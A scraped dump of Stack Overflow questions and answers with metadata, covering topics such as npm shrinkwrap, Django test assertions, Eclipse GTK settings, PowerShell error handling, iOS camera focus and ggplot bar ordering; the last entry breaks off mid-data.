<p>As others have mentioned as well, there were some huge efforts to enhance the shrinkwrap feature starting with <a href="https://github.com/npm/npm/releases/tag/v3.10.8">npm v3.10.8</a>. </p>
<p>Thanks to <a href="https://github.com/npm/npm/pull/10073">this</a>, it'll be possible to keep your <code>devDependencies</code> locked while installing only the production dependencies:</p>
<pre><code>npm shrinkwrap --dev
npm install --only=prod
</code></pre>
<hr>
<p><strong>2013 answer:</strong></p>
<p>As stated in the <a href="https://docs.npmjs.com/cli/shrinkwrap#other-notes">NPM docs</a>:</p>
<blockquote>
<p>Since <code>npm shrinkwrap</code> is intended to lock down your dependencies for
production use, <code>devDependencies</code> will not be included unless you
explicitly set the <code>--dev</code> flag when you run npm shrinkwrap. If
installed <code>devDependencies</code> are excluded, then npm will print a warning.
If you want them to be installed with your module by default, please
consider adding them to dependencies instead.</p>
</blockquote>
<p>Basically, or you lock down all deps, or only the production deps.</p>
<p>Not even running <code>npm install --dev</code> or <code>npm install --force</code> can transcend the shrinkwrap functionality.</p> |
17,536,916 | Python/Django: how to assert that unit test result contains a certain string? | <p>In a python unit test (actually Django), what is the correct <code>assert</code> statement that will tell me if my test result contains a string of my choosing?</p>
<pre><code>self.assertContainsTheString(result, {"car" : ["toyota","honda"]})
</code></pre>
<p>I want to make sure that my <code>result</code> contains at least the json object (or string) that I specified as the second argument above</p>
<pre><code>{"car" : ["toyota","honda"]}
</code></pre> | 17,540,673 | 5 | 1 | null | 2013-07-08 22:16:52.34 UTC | 6 | 2019-03-11 16:17:21.66 UTC | 2019-03-11 16:17:21.66 UTC | null | 46,914 | null | 798,719 | null | 1 | 99 | python|json|django|unit-testing|assert | 104,463 | <pre><code>self.assertContains(result, "abcd")
</code></pre>
<p>You can modify it to work with json.</p>
<p>Use <code>self.assertContains</code> only for <code>HttpResponse</code> objects. For other objects, use <code>self.assertIn</code>.</p> |
36,822,242 | eclipse doesn't work with ubuntu 16.04 | <p>I just installed ubuntu 16.04 and downloaded eclipse and extracted. When i start eclipse the welcome page is empty.</p>
<p>When i start the eclipse marketplace nothing happens.</p>
<p>How to solve this issue?</p> | 36,859,485 | 3 | 4 | null | 2016-04-24 11:01:53.277 UTC | 11 | 2018-10-28 17:07:00.977 UTC | 2017-04-26 16:32:33.7 UTC | null | 1,033,581 | null | 5,002,267 | null | 1 | 24 | eclipse|ubuntu | 25,596 | <p>Try to start Eclipse after editing your <code>eclipse.ini</code> file and tweaking the <code>launcher</code> entry like this:</p>
<pre><code>--launcher.GTK_version
2
</code></pre>
<p>Example file:</p>
<pre><code>-startup
plugins/org.eclipse.equinox.launcher_1.3.100.v20150511-1540.jar
--launcher.GTK_version
2
-product
org.eclipse.epp.package.cpp.product
--launcher.defaultAction
openFile
-showsplash
org.eclipse.platform
--launcher.XXMaxPermSize
256m
--launcher.defaultAction
openFile
--launcher.appendVmargs
-vmargs
-Dosgi.requiredJavaVersion=1.7
-XX:MaxPermSize=256m
-Xms256m
-Xmx1024m
</code></pre> |
18,584,389 | listen to mouse hold event on website? | <p>I know 'mousedown' is when user press the mouse, 'mouseup' is when user release the mouse. But I want to listen the event after user press the mouse and hold it until it release. Any ideas?</p> | 18,584,646 | 4 | 2 | null | 2013-09-03 05:00:24.21 UTC | 7 | 2018-09-07 12:04:25.18 UTC | null | null | null | null | 2,268,624 | null | 1 | 15 | javascript|jquery | 59,908 | <p>If you want the <strong>hold</strong> state then it will be the state when you are in <em>mousedown</em> event state for a while. This state exists when you press <em>mousedown</em> but not <em>mouseup</em>. Hence you need to take a variable which records the current state of the event.</p>
<p><strong>JS</strong></p>
<pre><code>$('div').on('mousedown mouseup', function mouseState(e) {
if (e.type == "mousedown") {
//code triggers on hold
console.log("hold");
}
});
</code></pre>
<p><strong><a href="http://jsfiddle.net/LCnUw/4/" rel="noreferrer">Working Fiddle</a></strong></p> |
5,472,298 | Java Transformer error: Could not compile stylesheet | <p>I'm want to transform a XML with XSLT in Java. For that I'm using the <code>javax.xml.transform</code> package. However, I get the exception <code>javax.xml.transform.TransformerConfigurationException: Could not compile stylesheet</code>. This is the code I'm using:</p>
<pre><code>public static String transform(String XML, String XSLTRule) throws TransformerException {
Source xmlInput = new StreamSource(XML);
Source xslInput = new StreamSource(XSLTRule);
TransformerFactory tFactory = TransformerFactory.newInstance();
Transformer transformer = tFactory.newTransformer(xslInput); // this is the line that throws the exception
Result result = new StreamResult();
transformer.transform(xmlInput, result);
return result.toString();
}
</code></pre>
<p>Note that I marked the line which throws the exception.</p>
<p>When I enter the method, the value of <code>XSLTRule</code> is this:</p>
<pre><code><xsl:stylesheet version='1.0'
xmlns:xsl='http://www.w3.org/1999/XSL/Transform'
xmlns:msxsl='urn:schemas-microsoft-com:xslt'
exclude-result-prefixes='msxsl'
xmlns:ns='http://www.ibm.com/wsla'>
<xsl:strip-space elements='*'/>
<xsl:output method='xml' indent='yes'/>
<xsl:template match='@* | node()'>
<xsl:copy>
<xsl:apply-templates select='@* | node()'/>
</xsl:copy>
</xsl:template>
<xsl:template match="/ns:SLA
/ns:ServiceDefinition
/ns:WSDLSOAPOperation
/ns:SLAParameter[@name='Performance']"/>
</xsl:stylesheet>
</code></pre> | 5,472,773 | 3 | 4 | null | 2011-03-29 12:13:55.92 UTC | 3 | 2015-10-08 13:33:20.25 UTC | 2011-03-29 18:16:56.233 UTC | user357812 | null | null | 482,835 | null | 1 | 9 | java|xml|xslt | 38,006 | <p>The <a href="http://download.oracle.com/javase/6/docs/api/javax/xml/transform/stream/StreamSource.html#StreamSource%28java.lang.String%29">constructor</a></p>
<pre><code>public StreamSource(String systemId)
</code></pre>
<p>Construct a StreamSource from a URL. I think you're passing the content of the XSLT instead. Try this:</p>
<pre><code>File xslFile = new File("path/to/your/xslt");
TransformerFactory factory = TransformerFactory.newInstance();
Templates xsl = factory.newTemplates(new StreamSource(xslFile));
</code></pre>
<p>You must also set the <code>OutputStream</code> that your <code>StreamResult</code> will write to:</p>
<pre><code>ByteArrayOutputStream baos = new ByteArrayOutputStream();
Result result = new StreamResult(baos);
transformer.transform(xmlInput, result);
return baos.toString();
</code></pre> |
5,418,740 | JQuery mouseup outside window – possible? | <p>I am trying to accomplish a rudimentary drag. On mousedown the item starts dragging, but not at the same speed as the mouse, so i continue dragging when the mouse is outside the window, but if the mouse is not over the page i can't get mouseup events.</p>
<p>I can see other pages do this so i know it is possible. Appreciate any help.</p>
<p><strong>Edit: eg</strong></p>
<p>Play any video on Vimeo <a href="http://vimeo.com/19831216" rel="noreferrer">http://vimeo.com/19831216</a> make sure the window is small enough on your screen with space above it, then drag the video's progress bar left and right, now move the cursor outside the top edge of the window while still dragging left/right - see? Now release mouse button while still outside of the window - dragging ends and video continues playing.</p>
<p>Note: Vimeo has an option to use a flash player or HTML5 player and this is with the html5 player.</p> | 5,419,564 | 3 | 0 | null | 2011-03-24 11:59:11.8 UTC | 7 | 2020-08-29 19:06:04.937 UTC | 2020-06-20 09:12:55.06 UTC | null | -1 | null | 311,745 | null | 1 | 30 | jquery|mouseevent | 14,635 | <p>You actually <strong>can</strong> get the mouseup outside of the browser's window.</p>
<p>It worked for me at least.</p>
<pre><code>$(function(){
$(window).mouseup(function(){
alert('mouse up');
});
});
</code></pre>
<p><a href="http://jsfiddle.net/fFeJ6/" rel="noreferrer">http://jsfiddle.net/fFeJ6/</a></p>
<p>Working on Chrome 10 on Ubuntu Maverick.</p> |
5,229,508 | tree structure of parent child relation in django templates | <p>how do i implement the tree structure in django templates with out using django-mptt.</p>
<p>i have model.</p>
<pre><code>class Person(TimeStampedModel):
name = models.CharField(max_length=32)
parent = models.ForeignKey('self', null=True, blank=True, related_name='children')
</code></pre>
<p>now i want ..</p>
<pre><code> Parent
Child 1
subchild 1.1
subchild 1.2
nextsubchild 1.2.1
Child 2
Child 3
</code></pre>
<p>there names should be click able to show their profile. </p> | 5,230,528 | 4 | 0 | null | 2011-03-08 07:17:19.253 UTC | 11 | 2021-05-20 20:44:15.017 UTC | null | null | null | null | 534,790 | null | 1 | 5 | django|treeview|django-templates | 12,875 | <p>from <a href="https://stackoverflow.com/questions/2408854/django-while-loop">Django while loop</a> question and</p>
<p><a href="http://docs.djangoproject.com/en/dev/howto/custom-template-tags/#inclusion-tags" rel="nofollow noreferrer">http://docs.djangoproject.com/en/dev/howto/custom-template-tags/#inclusion-tags</a></p>
<pre><code># view.py
@register.inclusion_tag('children.html')
def children_tag(person):
children = person.children.all()
return {'children': children}
# children.html
<ul>
{% for child in children %}
<li> <a href="{{ child.get_absolute_url }}">{{ child }}</a></li>
{% if child.children.count > 0 %}
{% children_tag child %}
{% endif %}
{% endfor %}
</ul>
# your template
{% children_tag parent %}
</code></pre> |
9,174,669 | best practice font size for mobile | <p>I have seen this question on SO:</p>
<p><a href="https://stackoverflow.com/questions/6140430/what-are-the-most-common-font-sizes-for-h1-h6-tags">What are the most common font-sizes for H1-H6 tags</a>
with this being the recommended font sizes fo H tags:</p>
<pre><code>h1 { font-size: 2em; }
h2 { font-size: 1.5em; }
h3 { font-size: 1.17em; }
h5 { font-size: .83em; }
h6 { font-size: .75em; }
</code></pre>
<p>Is there a 'best practice' for these for mobile phones? -say iphone screen size?</p> | 9,175,212 | 3 | 3 | null | 2012-02-07 10:33:36.143 UTC | 14 | 2021-06-16 02:56:39.323 UTC | 2017-05-23 11:46:36.667 UTC | null | -1 | null | 66,975 | null | 1 | 36 | html|css|mobile | 116,423 | <p>The font sizes in your question are an example of what ratio each header should be in comparison to each other, rather than what size they should be themselves (in pixels).</p>
<p>So in response to your question <em>"Is there a 'best practice' for these for mobile phones? - say iphone screen size?</em>", yes there probably is - but you might find what someone says is "best practice" does not work for your layout.</p>
<p>However, to help get you on the right track, <a href="https://web.archive.org/web/20140330054852/http://responsivenews.co.uk/post/13925578846/fluid-grids-orientation-resolution-independence" rel="nofollow noreferrer">this article about building responsive layouts</a> provides a good example of how to calculate the base <code>font-size</code> in pixels in relation to device screen sizes.</p>
<p>The suggested font-sizes for screen resolutions suggested from that article are as follows:</p>
<pre><code>@media (min-width: 858px) {
html {
font-size: 12px;
}
}
@media (min-width: 780px) {
html {
font-size: 11px;
}
}
@media (min-width: 702px) {
html {
font-size: 10px;
}
}
@media (min-width: 624px) {
html {
font-size: 9px;
}
}
@media (max-width: 623px) {
html {
font-size: 8px;
}
}
</code></pre> |
9,162,808 | What does auto&& do? | <p>This is the code from C++11 Notes Sample by Scott Meyers, </p>
<pre><code>int x;
auto&& a1 = x; // x is lvalue, so type of a1 is int&
auto&& a2 = std::move(x); // std::move(x) is rvalue, so type of a2 is int&&
</code></pre>
<p>I am having trouble understanding <code>auto&&</code>.<br>
I have some understanding of <code>auto</code>, from which I would say that <code>auto& a1 = x</code> should make type of <code>a1</code> as <code>int&</code></p>
<p>Which from Quoted code, seems wrong.</p>
<p>I wrote this small code, and ran under gcc.</p>
<pre><code>#include <iostream>
using namespace std;
int main()
{
int x = 4;
auto& a1 = x; //line 8
cout << a1 << endl;
++a1;
cout << x;
return 0;
}
</code></pre>
<p>Output = <code>4 (newline) 5</code><br>
Then I modified line 8 as <code>auto&& a1 = x;</code>, and ran. Same output.</p>
<p>My question : Is <code>auto&</code> equal to <code>auto&&</code>?<br>
If they are different what does <code>auto&&</code> do?</p> | 9,162,949 | 1 | 3 | null | 2012-02-06 15:48:11.97 UTC | 15 | 2012-04-08 05:58:07.197 UTC | 2012-04-08 05:58:07.197 UTC | null | 558,094 | null | 558,094 | null | 1 | 37 | c++|c++11|auto | 10,759 | <p>The code is right. <code>auto&& p = expr</code> means the type of <code>p</code> is <code>T&&</code> where <code>T</code> will be inferred from <code>expr</code>. The <code>&&</code> here indicates a rvalue reference, so e.g.</p>
<pre><code>auto&& p = 1;
</code></pre>
<p>will infer <code>T == int</code> and thus the type of <code>p</code> is <code>int&&</code>.</p>
<p>However, references can be collapsed according to the rule:</p>
<pre><code>T& & == T&
T& && == T&
T&& & == T&
T&& && == T&&
</code></pre>
<p>(This feature is used to implement perfect forwarding in C++11.)</p>
<p>In the case</p>
<pre><code>auto&& p = x;
</code></pre>
<p>as <code>x</code> is an lvalue, an rvalue reference cannot be bound to it, but if we infer <code>T = int&</code> then the type of <code>p</code> will become <code>int& && = int&</code>, which is an lvalue reference, which can be bound to <code>x</code>. Only in this case <code>auto&&</code> and <code>auto&</code> give the same result. These two are different though, e.g.</p>
<pre><code>auto& p = std::move(x);
</code></pre>
<p>is incorrect because <code>std::move(x)</code> is an rvalue, and the lvalue reference cannot be bound to it.</p>
<p>Please read <a href="http://thbecker.net/articles/rvalue_references/section_01.html">C++ Rvalue References Explained </a> for a walk through.</p> |
9,274,494 | How to know the UITableview row number | <p>I have a <code>UITableViewCell</code> with <code>UISwitch</code> as accessoryview of each cell. When I change the value of the switch in a cell, how can I know in which row the switch is? I need the row number in the switch value changed event.</p> | 9,274,863 | 10 | 3 | null | 2012-02-14 09:30:15.383 UTC | 43 | 2017-07-04 12:18:00.393 UTC | 2016-12-22 11:38:32.08 UTC | null | 4,078,527 | null | 1,167,266 | null | 1 | 39 | iphone|ios|uitableview|uiswitch | 17,329 | <p>Tags, subclasses, or view hierarchy navigation are <strong>too much work!</strong>. Do this in your action method:</p>
<pre><code>CGPoint hitPoint = [sender convertPoint:CGPointZero toView:self.tableView];
NSIndexPath *hitIndex = [self.tableView indexPathForRowAtPoint:hitPoint];
</code></pre>
<p>Works with any type of view, multi section tables, whatever you can throw at it - as long as the origin of your sender is within the cell's frame (thanks rob!), which will usually be the case. </p>
<p>And here it is in a UITableView Swift extension:</p>
<pre><code>extension UITableView {
func indexPath(for view: UIView) -> IndexPath? {
let location = view.convert(CGPoint.zero, to: self)
return self.indexPathForRow(at: location)
}
}
</code></pre> |
9,294,949 | When should I use Write-Error vs. Throw? Terminating vs. non-terminating errors | <p>Looking at a Get-WebFile script over on PoshCode, <a href="http://poshcode.org/3226" rel="noreferrer">http://poshcode.org/3226</a>, I noticed this strange-to-me contraption:</p>
<pre><code>$URL_Format_Error = [string]"..."
Write-Error $URL_Format_Error
return
</code></pre>
<p>What is the reason for this as opposed to the following?</p>
<pre><code>$URL_Format_Error = [string]"..."
Throw $URL_Format_Error
</code></pre>
<p>Or even better:</p>
<pre><code>$URL_Format_Error = New-Object System.FormatException "..."
Throw $URL_Format_Error
</code></pre>
<p>As I understand, you should use Write-Error for non-terminating errors, and Throw for terminating errors, so it seems to me that you should not use Write-Error followed by Return. Is there a difference?</p> | 9,295,344 | 6 | 3 | null | 2012-02-15 14:13:36.253 UTC | 29 | 2022-06-30 14:39:36.027 UTC | 2018-11-07 20:21:49.983 UTC | null | 63,550 | null | 108,993 | null | 1 | 169 | powershell|error-handling|powershell-2.0 | 184,765 | <p><code>Write-Error</code> should be used if you want to inform the user of a non-critical error. By default all it does is print an error message in red text on the console. It does not stop a pipeline or a loop from continuing. <code>Throw</code> on the other hand produces what is called a terminating error. If you use throw, the pipeline and/or current loop will be terminated. In fact all execution will be terminated unless you use a <code>trap</code> or a <code>try/catch</code> structure to handle the terminating error.</p>
<p>There is one thing to note, if you set <strong><code>$ErrorActionPreference</code> to <code>"Stop"</code></strong> and use <code>Write-Error</code> it will <strong>produce a terminating error</strong>.</p>
<p>In the script you linked to we find this:</p>
<pre><code>if ($url.Contains("http")) {
$request = [System.Net.HttpWebRequest]::Create($url)
}
else {
$URL_Format_Error = [string]"Connection protocol not specified. Recommended action: Try again using protocol (for example 'http://" + $url + "') instead. Function aborting..."
Write-Error $URL_Format_Error
return
}
</code></pre>
<p>It looks like the author of that function wanted to stop the execution of that function and display an error message on screen but did not want the entire script to stop executing. The script author could have used <code>throw</code> however it would mean you would have to use a <code>try/catch</code> when calling the function.</p>
<p><code>return</code> will exit the current scope which can be a function, script, or script block. This is best illustrated with code:</p>
<pre><code># A foreach loop.
foreach ( $i in (1..10) ) { Write-Host $i ; if ($i -eq 5) { return } }
# A for loop.
for ($i = 1; $i -le 10; $i++) { Write-Host $i ; if ($i -eq 5) { return } }
</code></pre>
<p>Output for both:</p>
<pre><code>1
2
3
4
5
</code></pre>
<p>One gotcha here is using <code>return</code> with <code>ForEach-Object</code>. It will not break processing like one might expect.</p>
<p>More information:</p>
<ul>
<li><code>$ErrorActionPreference</code>: <em><a href="http://technet.microsoft.com/en-us/library/dd347731.aspx" rel="noreferrer">about_Preference_Variables</a></em></li>
<li><code>try/catch</code>: <em><a href="http://technet.microsoft.com/en-us/library/dd315350.aspx" rel="noreferrer">about_Try_Catch_Finally</a></em></li>
<li><code>trap</code>: <em><a href="http://technet.microsoft.com/en-us/library/dd347548.aspx" rel="noreferrer">about_Trap</a></em></li>
<li><code>throw</code>: <em><a href="http://technet.microsoft.com/en-us/library/dd819510.aspx" rel="noreferrer">about_Throw</a></em></li>
<li><code>return</code>: <em><a href="http://technet.microsoft.com/en-us/library/dd347592.aspx" rel="noreferrer">about_Return</a></em></li>
</ul> |
18,354,788 | Unit testing private method - objective C | <p>I use <code>GHUnit</code>. I want to unit test private methods and don't know how to test them. I found a lot of answers on why to or why not to test private methods. But did not find on how to test them. </p>
<p>I would not like to discuss whether I should test privates or not but will focus on how to test it.</p>
<p>Can anybody give me an example of how to test private method?</p> | 18,355,160 | 4 | 5 | null | 2013-08-21 10:18:02.97 UTC | 16 | 2015-08-31 06:13:40.71 UTC | null | null | null | null | 1,798,394 | null | 1 | 43 | ios|objective-c|unit-testing|ios6|gh-unit | 15,602 | <p>Methods in Objective-C are not really private. The error message you are getting is that the compiler can't verify that the method you are calling exists as it is not declared in the public interface.</p>
<p>The way to get around this is to expose the private methods in a class category, which tells the compiler that the methods exist.</p>
<p>So add something like this to the top of your test case file:</p>
<pre><code>@interface SUTClass (Testing)
- (void)somePrivateMethodInYourClass;
@end
</code></pre>
<p>SUTClass is the actual name of the class you are writing tests for.</p>
<p>This will make your private method visible, and you can test it without the compiler warnings.</p> |
20,286,068 | How to replace all strings to numbers contained in each string in Notepad++? | <p>I'm trying to find all values with following pattern :</p>
<pre><code>value="4"
value="403"
value="200"
value="201"
value="116"
value="15"
</code></pre>
<p>and replace it with value inside scopes.</p>
<p>I'm using the following regex to find the pattern :</p>
<pre><code>.*"\d+"
</code></pre>
<p>How can I do a replacement?</p> | 20,287,306 | 5 | 2 | null | 2013-11-29 12:39:17.217 UTC | 40 | 2017-03-07 07:23:47.377 UTC | 2017-02-01 19:35:47.877 UTC | null | 3,416,774 | null | 2,839,619 | null | 1 | 117 | regex|notepad++ | 312,645 | <p>In Notepad++ to replace, hit <kbd>Ctrl</kbd>+<kbd>H</kbd> to open the Replace menu.</p>
<p>Then if you check the "Regular expression" button and you want in your replacement to use a part of your matching pattern, you must use "capture groups" (read more on <a href="https://www.google.gr/search?q=regular+expressions+capture+groups">google</a>). For example, let's say that you want to match each of the following lines</p>
<pre><code>value="4"
value="403"
value="200"
value="201"
value="116"
value="15"
</code></pre>
<p>using the <code>.*"\d+"</code> pattern and want to keep only the number. You can then use a capture group in your matching pattern, using parentheses <code>(</code> and <code>)</code>, like that: <code>.*"(\d+)"</code>. So now in your replacement you can simply write <code>$1</code>, where $1 references to the value of the 1st capturing group and will return the number for each successful match. If you had two capture groups, for example <code>(.*)="(\d+)"</code>, <code>$1</code> will return the string <code>value</code> and <code>$2</code> will return the number.</p>
<p>So by using:</p>
<p>Find: <code>.*"(\d+)"</code></p>
<p>Replace: <code>$1</code></p>
<p>It will return you</p>
<pre><code>4
403
200
201
116
15
</code></pre>
<p>Please note that there many alternate and better ways of matching the aforementioned pattern. For example the pattern <code>value="([0-9]+)"</code> would be better, since it is more specific and you will be sure that it will match only these lines. It's even possible of making the replacement without the use of capture groups, but this is a slightly more advanced topic, so I'll leave it for now :)</p> |
15,449,271 | AVFoundation tap to focus feedback rectangle | <p>I am developing an iphone application where I directly use AVFoundation to capture videos via the camera. </p>
<p>I've implemented a feature to enable the <code>tap to focus</code> function for a user. </p>
<pre><code>- (void) focus:(CGPoint) aPoint;
{
#if HAS_AVFF
Class captureDeviceClass = NSClassFromString(@"AVCaptureDevice");
if (captureDeviceClass != nil) {
AVCaptureDevice *device = [captureDeviceClass defaultDeviceWithMediaType:AVMediaTypeVideo];
if([device isFocusPointOfInterestSupported] &&
[device isFocusModeSupported:AVCaptureFocusModeAutoFocus]) {
CGRect screenRect = [[UIScreen mainScreen] bounds];
double screenWidth = screenRect.size.width;
double screenHeight = screenRect.size.height;
double focus_x = aPoint.x/screenWidth;
double focus_y = aPoint.y/screenHeight;
if([device lockForConfiguration:nil]) {
[device setFocusPointOfInterest:CGPointMake(focus_x,focus_y)];
[device setFocusMode:AVCaptureFocusModeAutoFocus];
if ([device isExposureModeSupported:AVCaptureExposureModeAutoExpose]){
[device setExposureMode:AVCaptureExposureModeAutoExpose];
}
[device unlockForConfiguration];
}
}
}
#endif
}
</code></pre>
<p>So far so good, but I am missing the feedback rectangle like in the photos app. Is there any way to tell the AVFoundation Framework to show this feedback rectangle or do I have to implement this feature myself?</p> | 16,079,947 | 5 | 4 | null | 2013-03-16 12:31:07.717 UTC | 19 | 2020-06-20 04:20:35.787 UTC | null | null | null | null | 925,622 | null | 1 | 22 | iphone|ios|ipad|avfoundation | 10,885 | <p>Here's what I did:
This is the class that creates the square that is shown when the user taps on the camera overlay.</p>
<pre><code>CameraFocusSquare.h
#import <UIKit/UIKit.h>
@interface CameraFocusSquare : UIView
@end
CameraFocusSquare.m
#import "CameraFocusSquare.h"
#import <QuartzCore/QuartzCore.h>
const float squareLength = 80.0f;
@implementation FBKCameraFocusSquare
- (id)initWithFrame:(CGRect)frame
{
self = [super initWithFrame:frame];
if (self) {
// Initialization code
[self setBackgroundColor:[UIColor clearColor]];
[self.layer setBorderWidth:2.0];
[self.layer setCornerRadius:4.0];
[self.layer setBorderColor:[UIColor whiteColor].CGColor];
CABasicAnimation* selectionAnimation = [CABasicAnimation
animationWithKeyPath:@"borderColor"];
selectionAnimation.toValue = (id)[UIColor blueColor].CGColor;
selectionAnimation.repeatCount = 8;
[self.layer addAnimation:selectionAnimation
forKey:@"selectionAnimation"];
}
return self;
}
@end
</code></pre>
<p>And in the view where you receive your taps, do the following:</p>
<pre><code>- (void) touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event
{
UITouch *touch = [[event allTouches] anyObject];
CGPoint touchPoint = [touch locationInView:touch.view];
[self focus:touchPoint];
if (camFocus)
{
[camFocus removeFromSuperview];
}
if ([[touch view] isKindOfClass:[FBKVideoRecorderView class]])
{
camFocus = [[CameraFocusSquare alloc]initWithFrame:CGRectMake(touchPoint.x-40, touchPoint.y-40, 80, 80)];
[camFocus setBackgroundColor:[UIColor clearColor]];
[self addSubview:camFocus];
[camFocus setNeedsDisplay];
[UIView beginAnimations:nil context:NULL];
[UIView setAnimationDuration:1.5];
[camFocus setAlpha:0.0];
[UIView commitAnimations];
}
}
- (void) focus:(CGPoint) aPoint;
{
Class captureDeviceClass = NSClassFromString(@"AVCaptureDevice");
if (captureDeviceClass != nil) {
AVCaptureDevice *device = [captureDeviceClass defaultDeviceWithMediaType:AVMediaTypeVideo];
if([device isFocusPointOfInterestSupported] &&
[device isFocusModeSupported:AVCaptureFocusModeAutoFocus]) {
CGRect screenRect = [[UIScreen mainScreen] bounds];
double screenWidth = screenRect.size.width;
double screenHeight = screenRect.size.height;
double focus_x = aPoint.x/screenWidth;
double focus_y = aPoint.y/screenHeight;
if([device lockForConfiguration:nil]) {
[device setFocusPointOfInterest:CGPointMake(focus_x,focus_y)];
[device setFocusMode:AVCaptureFocusModeAutoFocus];
if ([device isExposureModeSupported:AVCaptureExposureModeAutoExpose]){
[device setExposureMode:AVCaptureExposureModeAutoExpose];
}
[device unlockForConfiguration];
}
}
}
}
</code></pre> |
14,977,896 | xcode CollectionViewController scrollToItemAtIndexPath not working | <p>I have created a <code>CollectionView</code> Control and filled it with images. Now I want to scroll to item at a particular index on start. I have tried out <code>scrollToItemAtIndexPath</code> as follows:</p>
<pre><code>[self.myFullScreenCollectionView scrollToItemAtIndexPath:indexPath
atScrollPosition:UICollectionViewScrollPositionCenteredHorizontally animated:YES];
</code></pre>
<p>However, I am getting following exception. Could anyone guide me on where am I going wrong.</p>
<pre><code>2013-02-20 02:32:45.219 ControlViewCollection1[1727:c07] *** Assertion failure in
-[UICollectionViewData layoutAttributesForItemAtIndexPath:], /SourceCache/UIKit_Sim/UIKit-2380.17
/UICollectionViewData.m:485 2013-02-20 02:32:45.221 ControlViewCollection1[1727:c07] must return a
UICollectionViewLayoutAttributes instance from -layoutAttributesForItemAtIndexPath: for path
<NSIndexPath 0x800abe0> 2 indexes [0, 4]
</code></pre> | 15,237,912 | 9 | 0 | null | 2013-02-20 10:44:46.107 UTC | 10 | 2020-09-22 12:47:28.667 UTC | 2013-02-20 10:48:00.75 UTC | null | 1,776,603 | null | 1,562,597 | null | 1 | 32 | xcode | 32,897 | <p>Whether it's a bug or a feature, UIKit throws this error whenever <code>scrollToItemAtIndexPath:atScrollPosition:Animated</code> is called before <code>UICollectionView</code> has laid out its subviews.</p>
<p>As a workaround, move your scrolling invocation to a place in the view controller lifecycle where you're sure it has already computed its layout, like so:</p>
<pre><code>@implementation CollectionViewControllerSubclass
- (void)viewWillAppear:(BOOL)animated
{
[super viewWillAppear:animated];
// scrolling here doesn't work (results in your assertion failure)
}
- (void)viewDidLayoutSubviews
{
[super viewDidLayoutSubviews];
NSIndexPath *indexPath = // compute some index path
// scrolling here does work
[self.collectionView scrollToItemAtIndexPath:indexPath
atScrollPosition:UICollectionViewScrollPositionCenteredHorizontally
animated:YES];
}
@end
</code></pre>
<p>At the very least, the error message should probably be more helpful. I've opened a <a href="http://openradar.appspot.com/13416281" rel="noreferrer">rdar://13416281</a>; please dupe.</p> |
15,197,837 | how to pass "question mark" in url javascript | <p>In Angularjs app, i have a url like<br/> <code>http://url.com/my_app/#/store/items</code>. <br/>
Now i want to append query string for example,<br/> <code>http://url.com/my_app/#/store/items?page=2</code>. <br/><br/>but in url, javascript encodes the <code>"?" to "%3F"</code> which i don't want. It should remain "?" only in the url as angularjs $location.search() returns nothing for "%3F".
<br/><br/>How it can be done ?</p> | 15,206,154 | 5 | 5 | null | 2013-03-04 09:01:38.073 UTC | 8 | 2020-05-29 11:39:01.943 UTC | 2013-03-08 06:39:21.623 UTC | null | 1,210,760 | null | 1,716,498 | null | 1 | 41 | javascript|angularjs | 30,209 | <p>There is not enough details in your question so I will assume that you are using AngularJS routing - or at least the <a href="http://docs.angularjs.org/api/ng.$location">$location service</a> - in non-HTML5 mode. If so, the part after the <code>#</code> character represents your URL from the single-page-application point of view (more about AngularJS <a href="http://docs.angularjs.org/guide/dev_guide.services.$location">here</a>).</p>
<p>If the above assumptions are correct it means that <strong>you shouldn't try to add or manipulate the question mark "by hand"</strong>. Instead you should change the <code>search</code> part of the <code>$location</code> to manipulate query string (part after <code>?</code>) and the question mark will be added / removed to the final URL as needed.</p>
<p>In your case you could write:</p>
<pre><code>$location.path('/store/items').search('page', 2)
</code></pre>
<p>This is assuming that you are manipulating URLs from JavaScript, as stated in your question.</p> |
15,266,653 | Unable to resolve target 'android-16' | <p>I am using Android 4.2.2. After installing the latest SDK, when I open the eclipse I could see all the projects having the problem during the build. Following is the error i get. Please let me know how to resolve this?</p>
<pre><code>Unable to resolve target 'android-16'
</code></pre> | 15,266,803 | 13 | 6 | null | 2013-03-07 08:47:16.83 UTC | 17 | 2014-12-09 06:36:12.1 UTC | null | null | null | null | 1,822,729 | null | 1 | 50 | android|android-sdk-2.3 | 87,942 | <p>I have had the same problem, after an update I got a similar error.</p>
<p>It can be fixed to manually edit the <code>project.properties</code> file and update the <code>android-16</code> part to the latest one you have installed. In your current case that is <code>android-17</code>.</p>
<p>I guess it can be configured using Android ADT as well, but I could not figure it out and this was quicker</p>
<p>Furthermore, you have to update your manifest as well, make sure you have <code>android:targetSdkVersion</code> set to 17.</p> |
15,251,816 | How do you order the fill-colours within ggplot2 geom_bar | <p>I am calling the ggplot function</p>
<pre><code>ggplot(data,aes(x,y,fill=category)+geom_bar(stat="identity")
</code></pre>
<p>The result is a barplot with bars filled by various colours corresponding to category. However the ordering of the colours is not consistent from bar to bar. Say there is pink, green and blue. Some bars go pink,green,blue from bottom to top and some go green,pink,blue. I don't see any obvious pattern. </p>
<p>How are these orderings chosen? How can I change it? At the very least, how can I make ggplot choose a consistent ordering?</p>
<p>The class of (x,y and category) are (integer,numeric and factor) respectively. If I make category an ordered factor, it does not change this behavior. </p>
<p>Anyone know how to fix this?</p>
<p>Reproducible example:</p>
<pre><code>dput(data)
structure(list(mon = c(9L, 10L, 11L, 10L, 8L, 7L, 7L, 11L, 9L,
10L, 12L, 11L, 7L, 12L, 8L, 12L, 9L, 7L, 9L, 10L, 10L, 8L, 12L,
7L, 11L, 10L, 8L, 7L, 11L, 12L, 12L, 9L, 9L, 7L, 7L, 12L, 12L,
9L, 9L, 8L), gclass = structure(c(9L, 1L, 8L, 6L, 4L, 4L, 3L,
6L, 2L, 4L, 1L, 1L, 5L, 7L, 1L, 6L, 8L, 6L, 4L, 7L, 8L, 7L, 9L,
8L, 3L, 5L, 9L, 2L, 7L, 3L, 5L, 5L, 7L, 7L, 9L, 2L, 4L, 1L, 3L,
8L), .Label = c("Down-Down", "Down-Stable", "Down-Up", "Stable-Down",
"Stable-Stable", "Stable-Up", "Up-Down", "Up-Stable", "Up-Up"
), class = c("ordered", "factor")), NG = c(222614.67, 9998.17,
351162.2, 37357.95, 4140.48, 1878.57, 553.86, 40012.25, 766.52,
15733.36, 90676.2, 45000.29, 0, 375699.84, 2424.21, 93094.21,
120547.69, 291.33, 1536.38, 167352.21, 160347.01, 26851.47, 725689.06,
